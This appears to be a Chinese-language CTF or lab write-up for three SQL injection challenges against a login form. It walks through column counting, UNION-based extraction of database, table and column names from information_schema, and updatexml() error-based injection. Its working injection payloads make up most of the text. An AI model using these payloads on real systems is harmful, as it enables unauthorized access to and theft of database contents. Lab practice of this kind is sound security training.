---------------------------------Rank 1 -------------------------------------------------
先在表单Username编辑框中输入1,点登录,页面回显如下:
然后在Username中输入1',点登录,再看回显,看是否存在注入:
可看到存在注入,且从错误提示信息中可以看到,数据库是MySQL,因此这里可以使用updatexml()函数进行报错注入,也可以直接构造union 联合查询语句进行注入。这里我就使用后者了。
先获取字段数,构造语句如下:
1' order by 3 #
构造语句:
1' order by 2 #
则无报错信息,故字段数为2。
获取当前数据库名,构造语句如下:
1' union select 1,database() #
获取表名,构造语句如下:
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #
获取字段名,构造语句如下:
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='zkaq' #
然后查询zKaQ字段就能获取flag。
---------------------------------Rank 2 -------------------------------------------------
先在表单的Username编辑框中输入1,点登录,页面回显如下:
可以看到这里在sql语句中,将username等号后面的值用小括号和双引号括起来了。
所以这次试用 1" 来判断是否存在注入:
看到了熟悉的MySQL报错信息,这就好办了。
直接来吧,先确定字段数,构造如下语句:
1") order by 3 #
再构造如下语句:
1") order by 2 #
结果没有报错信息出现,所以字段数是2。
获取当前数据库名,构造语句如下:
1") union select 1,database() #
获取表名,构造语句如下:
1") union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #
获取字段名,构造语句如下:
1") union select 1,group_concat(column_name) from information_schema.columns where table_name='zkaq' #
然后查询zKaQ字段就能获取flag。
---------------------------------Rank 3 -------------------------------------------------
先在表单的Username编辑框中输入1,点登录,页面回显如下:
可以看到这里在sql语句中,将username等号后面的值用小括号和单引号括起来了。
所以这里使用 1') 来判断是否存在注入:
看到了熟悉的MySQL报错信息,本以来这道题也跟上面的Rank 1 和 Rank 2两道题一样的套路,但发现联合查询语句查询的结果并没有回显到页面中,因此就不能这么干了。
但幸运的是,用 1') 进行注入判断时,确实页面上出现了MySQL的报错信息,那下面尝试使用updatexml()进行报错注入。
首先获取当前数据库名,构造如下语句输入到Username编辑框中:
1') or updatexml(0,concat(0x3a,(select database())),0) #
可以看到确实有错误信息显示在页面上,并且已经将所查询的信息暴出来了。
继续获取表名,构造如下语句:
1') or updatexml(0,concat(0x3a,(select table_name from information_schema.tables where table_schema='security' limit 4,1)),0) #
获取字段名,构造如下语句:
1') or updatexml(0,concat(0x3a,(select column_name from information_schema.columns where table_name='zkaq' limit 1,1)),0) #
然后查询zKaQ字段的内容就可以拿到flag。